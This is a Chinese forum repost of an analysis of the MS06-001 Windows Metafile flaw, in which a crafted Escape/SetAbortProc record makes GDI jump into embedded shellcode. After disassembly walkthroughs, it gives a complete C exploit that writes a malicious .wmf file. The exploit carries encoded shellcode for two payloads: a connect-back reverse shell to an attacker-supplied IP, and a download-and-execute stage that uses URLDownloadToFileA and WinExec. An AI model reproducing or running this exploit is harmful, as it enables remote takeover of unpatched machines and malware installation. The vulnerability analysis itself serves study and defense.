发新话题
打印

[转载]MS06-001漏洞分析

[转载]MS06-001漏洞分析

信息来源:Whitecell技术论坛(www.whitecell.com)
文章作者:SoBeIT
      WindowsMetaFile文件格式用于储存图片,与位图文件最大的不同在于它的设备无关性,无论向什么设备输出,它总能保持里面图片的原始尺寸和象素。它们主要用于Windows 3.x,保存到现在主要是为了兼容性。它的内部文件结构是由一个文件头WMFHEAD结构和若干个WMFRECORD结构组成。它们的结构定义如下:

typedef struct _WindowsMetaHeader
{
  WORD  FileType;     /* Type of metafile (0=memory, 1=disk) */
  WORD  HeaderSize;    /* Size of header in WORDS (always 9) */
  WORD  Version;      /* Version of Microsoft Windows used */
  DWORD FileSize;     /* Total size of the metafile in WORDs */
  WORD  NumOfObjects;  /* Number of objects in the file */
  DWORD MaxRecordSize;  /* The size of largest record in WORDs */
  WORD  NumOfParams;   /* Not Used (always 0) */
} WMFHEAD;

typedef struct _StandardMetaRecord
{
   DWORD Size;       /* Total size of the record in WORDs */
   WORD  Function;    /* Function number (defined in WINDOWS.H) */
   WORD  Parameters[];  /* Parameter values passed to function */
} WMFRECORD;

      第一个WMFRECORD结构记录的是一般信息,如。在构造metafile时,用于构造该图象的所有GDI函数和它们的参数按调用顺序存储进每个WMFRECORD结构里,

      发生漏洞时函数顺序如下:

..GDI32!PlayMetaFile
....GDI32!CommonEnumMetaFile
......GDI32!PlayMetaFileRecord
........GDI32!Escape
..........GDI32!SetAbortProc


      漏洞发生于当打开一个wmf文件时,系统会调用PlayMetaFile来显示该图形文件,这个显示过程是通过执行wmf文件中所有的record中的GDI函数来完成的。在PlayMetaFile中会调用PlayMetaFileRecord函数。该函数通过执行wmf文件中某个record中的GDI函数来执行该record动作。在PlayMetaFileRecord函数中执行什么函数是通过WMFRECORD结构中的Function成员来决定,内部实现是通过Funciton的低8位作为索引来索引一张函数表里的分派函数,当为0x0626时,就会执行Escape函数:

.text:77F5BB23            push   [ebp+uFlags]   ; case 0x26
.text:77F5BB26            push   ebx
.text:77F5BB27            call   sub_77F5D2C0
.text:77F5BB2C            cmp    eax, edi
.text:77F5BB2E            mov    [ebp+var_4], eax
.text:77F5BB31            jnz    loc_77F5C6F3
.text:77F5BB37            mov    ax, [ebx+6]
.text:77F5BB3B            cmp    ax, 0Fh
.text:77F5BB3F            jz    loc_77F5C30C   ; default
.text:77F5BB45            lea    ecx, [ebx+0Ah]
.text:77F5BB48            push   edi         ; LPVOID
.text:77F5BB49            push   ecx         ; LPCSTR
.text:77F5BB4A            movzx  ecx, word ptr [ebx+8]
.text:77F5BB4E            movzx  eax, ax
.text:77F5BB51            push   ecx         ; int
.text:77F5BB52            push   eax         ; int
.text:77F5BB53            push   [ebp+uFlags]   ; HDC
.text:77F5BB56            call   Escape

      Escape的函数索引在wingdi.h里定义:

#define META_ESCAPE            0x0626

      ESCAPE函数声明如下:

int Escape(
   HDC hdc,      // handle to device context
   int nEscape,      // escape function
   int cbInput,      // number of bytes in input structure
   LPCSTR lpvInData,      // pointer to input structure
   LPVOID lpvOutData      // pointer to output structure
  );

      当这样构造WMFRECORD结构时:      
      
      10 00 00 00 26 06 09 00 16 00 90 90 90 90 90 90 90 90 90 90 ...

      反汇编Escape相关函数代码:

.text:77F5802B            dec    esi
.text:77F5802C            jz    loc_77F580EE
.text:77F58032            dec    esi
.text:77F58033            jz    loc_77F580E1
.text:77F58039            dec    esi
.text:77F5803A            jz    short loc_77F5807A
.text:77F5803C            sub    esi, 6
.text:77F5803F            jz    short loc_77F5806A

.text:77F5806A            push   [ebp+arg_10]   ; ABORTPROC
.text:77F5806D            push   [ebp+NumberOfBytesWritten] ; HDC
.text:77F58070            call   SetAbortProc
      
      由上面代码可以看到nEscape为9时,Escape函数将会调用SetAbortProc。cbInput为16,lpvInData开始于WMFRECORD结构+0x0a,也就是那一片0x90的开始处。

/* GDI Escapes */
#define SETABORTPROC            9

      SetAbortProc函数定义为:

int SetAbortProc(
   HDC hdc,      // handle of device context
   ABORTPROC lpAbortProc      // address of abort function  
  );      

      lpAbortProc为前面调用Escape的参数lpvInData。在SetAbortProc里,会设置设备环境结构里
一个函数指针为lpAbortProc:
      
.text:77F69946            mov    [esi+14h], edi           //edi = lpAbortProc

      返回到前面的CommonEnumMetaFile函数时,首先会接着调用GetEvent函数,这个函数的结果是能否跳转到shellcode的关键:

.text:77F5CB50            push   esi
.text:77F5CB51            push   [ebp+var_48]
.text:77F5CB0F            call   sub_77F5C874      //GDI32!GetEvent
.text:77F5CB14            mov    esi, eax
.text:77F5CB16            cmp    esi, ebx

      若能成功跳转到shellcode里执行,则GetEvent的返回结果将是shellcode的地址,否则正常情况下将是0。回忆起WMF文件的特性,执行Escape的参数都存储在WMFRECORD结构里,若shellcode长度等于Escape参数cbInput时,GetEvent将返回0,这也是正常情况。当shellcode长度大于cbInput时,就会返回shellcode地址,后续就会调用这个地址。这个特性实在是十分奇怪。接下来检查设备环境结构里的函数指针是否为空,不为空就直接调用,这样流程就跳转到了我们的shellcode里:

.text:77F5CB34            mov    eax, [eax+14h]
.text:77F5CB37            cmp    eax, ebx
.text:77F5CB39            jz    short loc_77F5CB43
.text:77F5CB3B            push   ebx
.text:77F5CB3C            push   edi
.text:77F5CB3D            call   eax           //lpAbortProc, address of shellcode

      在shellcode里最后执行ExitThread退出当前线程既可恢复正常执行流程。
exploit
复制内容到剪贴板
代码:
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

typedef struct _WindowsMetaHeader {
  USHORT      FileType;     /* Type of metafile (0=memory, 1=disk) */
  USHORT      HeaderSize;    /* Size of header in WORDS (always 9) */
  USHORT      Version;      /* Version of Microsoft Windows used */
  ULONG           FileSize;     /* Total size of the metafile in WORDs */
  USHORT      NumOfObjects;  /* Number of objects in the file */
  ULONG           MaxRecordSize;  /* The size of largest record in WORDs */
  USHORT      NumOfParams;   /* Not Used (always 0) */
} WMFHEAD, *PWMFHEAD;

typedef struct _StandardMetaRecord {
   ULONG      Size;       /* Total size of the record in WORDs */
   USHORT      Function;    /* Function number (defined in WINDOWS.H) */
   USHORT  Parameters[];  /* Parameter values passed to function */
} WMFRECORD, *PWMFRECORD;

typedef struct _ParamStruct {
      ULONG      len;
      char      *buf;
      int           sockfd;
} PARAM, *PPARAM;

unsigned char functions1[64][64] =
{
                                      //kernel32.dll
      {"LoadLibraryA"},
      {"CreateProcessA"},
      {"WaitForSingleObject"},
      {"ExitThread"},
                                      //ws2_32.dll
      {"WSAStartup"},
      {"WSASocketA"},
      {"connect"},
      {""},
};

unsigned char functions2[64][64] =
{
                                      //kernel32.dll
      {"LoadLibraryA"},
      {"GetSystemDirectoryA"},
      {"WinExec"},
      {"ExitThread"},
                                      //urlmon.dll
      {"URLDownloadToFileA"},
      {""},
};

unsigned char wmf_header[] =
           "\x01\x00\x09\x00\x00\x03\x52\x1f\x00\x00\x02\x00\x3d\x00\x00\x00"
           "\x00\x00";

/*
unsigned char wmf_records[] =
           "\x08\x00\x00\x00\xfa\x02\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00"
           "\x04\x00\x00\x00\x2d\x01\x00\x00\x07\x00\x00\x00\xfc\x02\x00\x00"
           "\xff\x00\xff\x00\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x07\x00"
           "\x00\x00\x1b\x04\x46\x00\x96\x00\x00\x00\x00\x00\x0f\x00\x00\x00"
           "\x21\x05\x11\x00\x43\x72\x65\x61\x74\x65\x64\x20\x42\x79\x20\x53"
           "\x6f\x42\x65\x49\x74\x00\x0a\x00\x0a\x00";
*/
unsigned char wmf_recordexp[] =
           "\x10\x00\x00\x00\x26\x06\x09\x00\x10\x00";

unsigned char decoder[] =
           "\x90\xeb\x14\x5f\x81\x37\x01\x07\x83\x19\x81\x3f\xcc\x90\x90\xcc"
           "\x74\x0a\x83\xc7\x04\xeb\xed\xe8\xe7\xff\xff\xff";

unsigned char shellcode1[] =
           "\xcc\x4f\x33\xc0\x66\x81\x3f\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c"
           "\x07\xcc\x90\x75\xec\x83\xc7\x04\x64\xa1\x30\x00\x00\x00\x8b\x40"
           "\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\xa7\x00"
           "\x00\x00\xe2\xf9\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\xff"
           "\x16\x8b\xe8\x6a\x03\x59\xe8\x8e\x00\x00\x00\xe2\xf9\x81\xec\x90"
           "\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x10\x50\x50\x50\x50"
           "\x40\x50\x40\x50\xff\x56\x14\x8b\xd8\xff\x76\x1c\x66\x8b\x56\x20"
           "\x86\xd6\xc1\xca\x10\x66\xba\x02\x00\x52\x8b\xd4\x6a\x10\x52\x53"
           "\xff\x56\x18\x85\xc0\x75\x4b\x68\x63\x6d\x64\x00\x8d\x14\x24\x83"
           "\xec\x54\x8b\xfc\x6a\x15\x59\x57\xab\xe2\xfd\x5f\xc6\x47\x10\x44"
           "\xfe\x47\x3c\xfe\x47\x3d\x89\x5f\x48\x89\x5f\x4c\x89\x5f\x50\x8d"
           "\x47\x10\x57\x50\x51\x51\x51\x6a\x01\x51\x51\x52\x51\xff\x56\x04"
           "\x8b\xcc\x68\xff\x00\x00\x00\xff\x31\xff\x56\x08\x33\xc0\x50\xff"
           "\x56\x0c\x81\xc4\xf8\x01\x00\x00\xc3\x51\x56\x8b\x75\x3c\x8b\x74"
           "\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03"
           "\xc5\x33\xdb\x0f\xbe\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40"
           "\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b"
           "\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\x90\x90"

           "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

unsigned char shellcode2[] =
           "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

unsigned char wmf_eof[] =
           "\x03\x00\x00\x00\x00\x00";

VOID ErrorQuit(char *msg)
{
      printf("%s\n", msg);
      ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
      ULONG ret = 0;

      while(*ch)
      {
           ret = ((ret << 25) | (ret >> 7)) + *ch++;
      }

      return ret;
}

VOID Encode(PULONG pShellcode)
{
      int           len, j = 0;
      ULONG      i;

      for(len = 0; ; len++)
      {
           i = pShellcode[len];
           pShellcode[len] ^= 0x19830701;
           if(i == 0xcc9090cc)
                break;
      }
}

ULONG WINAPI ServerThread(PVOID Param)
{
      int           len, i;
      PPARAM      pParam;
      char      *buf, *ptr;
      char      header[] =      "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n"
                                "Content-Length: %d\r\nConnection: close\r\n\r\n\r\n";

      buf = malloc(4096);
      pParam = (PPARAM)Param;
      if(recv(pParam->sockfd, buf, 4096, 0) < 0)
           ErrorQuit("recv failed.\n");

      printf("Request received.\n");
      if(strncmp(buf, "GET ", 4) != 0)
      {
           printf("Not a GET request.\n");
           return 0;
      }

      len = strlen(header) + pParam->len;
      sprintf(buf, header, len);
      memcpy(buf + strlen(header), pParam->buf, pParam->len);
      ptr = buf;
      do
      {
           i = send(pParam->sockfd, ptr, 4096, 0);
           len -= i;
           ptr += i;
      }
      while(len > 0);

      return 1;
}

int main(int argc, char *argv[])
{
      FILE           *fp;
      char           *wmf_buf, *ptr;
      int                size = 0, i, j, type;
      UINT           lsockfd, csockfd;
      PULONG           pShellcode;
      WSADATA           wsad;
      struct sockaddr_in      sa, rsa;
      HANDLE           hThread;
      ULONG           buf[64];
      PPARAM           pParam;

      if(argc < 2)
      {
           printf("ConnectBack Usage: %s 1 HTTPIP HTTPPORT LOCALIP LOCALPORT\n", argv[0]);
           printf("Download&Execute Usage: %s 2 HTTPIP HTTPPORT URL\n", argv[0]);
           ExitProcess(0);
      }

      type = atoi(argv[1]);
      if((type == 1) && (argc != 6))
           ErrorQuit("ConnectBack Usage: ms06-001 1 HTTPIP HTTPPORT LOCALIP LOCALPORT\n");
      else if((type == 2) && (argc != 5))
           ErrorQuit("Download&Execute Usage: ms06-001 2 HTTPIP HTTPPOR URL\n");

      if((wmf_buf = malloc(4096)) == NULL)
           ErrorQuit("malloc failed.\n");

      ptr = wmf_buf;
      pParam = malloc(sizeof(PARAM));
      if((type == 2) && (strlen(argv[5]) > 64))
           ErrorQuit("URL is too long.\n");

      memcpy(ptr, wmf_header, sizeof(wmf_header) - 1);
      size += sizeof(wmf_header) - 1;
      ptr += sizeof(wmf_header) - 1;
      
/*      memcpy(ptr, wmf_records, sizeof(wmf_records) - 1);
      size += sizeof(wmf_records) - 1;
      ptr += sizeof(wmf_records) - 1;
*/
      memcpy(ptr, wmf_recordexp, sizeof(wmf_recordexp) - 1);
      size += sizeof(wmf_recordexp) - 1;
      ptr += sizeof(wmf_recordexp) - 1;

      memcpy(ptr, decoder, sizeof(decoder) - 1);
      size += sizeof(decoder) - 1;
      ptr += sizeof(decoder) - 1;

      switch(type)
      {
           case 1:
                pShellcode = (PULONG)shellcode1;
                for(i = 0; pShellcode[i++] != 0x90cccc90; )
                           ;

                for(j = 0; functions1[j][0] != &#39;\x0&#39;; j++)
                      buf[j] = ComputeHash(functions1[j]);
           
                buf[j++] = inet_addr(argv[4]);
                buf[j++] = atoi(argv[5]);
               
                memcpy((char *)(pShellcode + i), (char *)buf, j * 4);
                Encode((PULONG)shellcode1);
                memcpy(ptr, shellcode1, sizeof(shellcode1) - 1);
                size += sizeof(shellcode1) - 1;
                ptr += sizeof(shellcode1) - 1;

                break;
           
           case 2:
                pShellcode = (PULONG)shellcode2;
                for(i = 0; pShellcode[i++] != 0x90cccc90; )
                           ;

                for(j = 0; functions2[j][0] != &#39;\x0&#39;; j++)
                      buf[j] = ComputeHash(functions2[j]);

                strcpy((char *)(buf + j), argv[4]);
                memcpy((char *)(pShellcode + i), (char *)buf, j * 4);
                Encode((PULONG)shellcode2);
                memcpy(ptr, shellcode2, sizeof(shellcode2) - 1);
                size += sizeof(shellcode2) - 1;
                ptr += sizeof(shellcode2) - 1;

                break;
               
           default:
                ErrorQuit("Supported Shellcode Type: 1. ConnectBack 2. Download&Execute.\n");
      }

      memcpy(ptr, wmf_eof, sizeof(wmf_eof) - 1);
      size += sizeof(wmf_eof) - 1;

      *(PULONG)(wmf_buf + 0x6) = (ULONG)size / 2;

      if((fp = fopen("ms06-001.wmf", "wb")) == NULL)
           ErrorQuit("Create metafile failed.\n");

      fwrite(wmf_buf, 1, size, fp);
      printf("Metafile created.\n");
      fclose(fp);
}

TOP

发新话题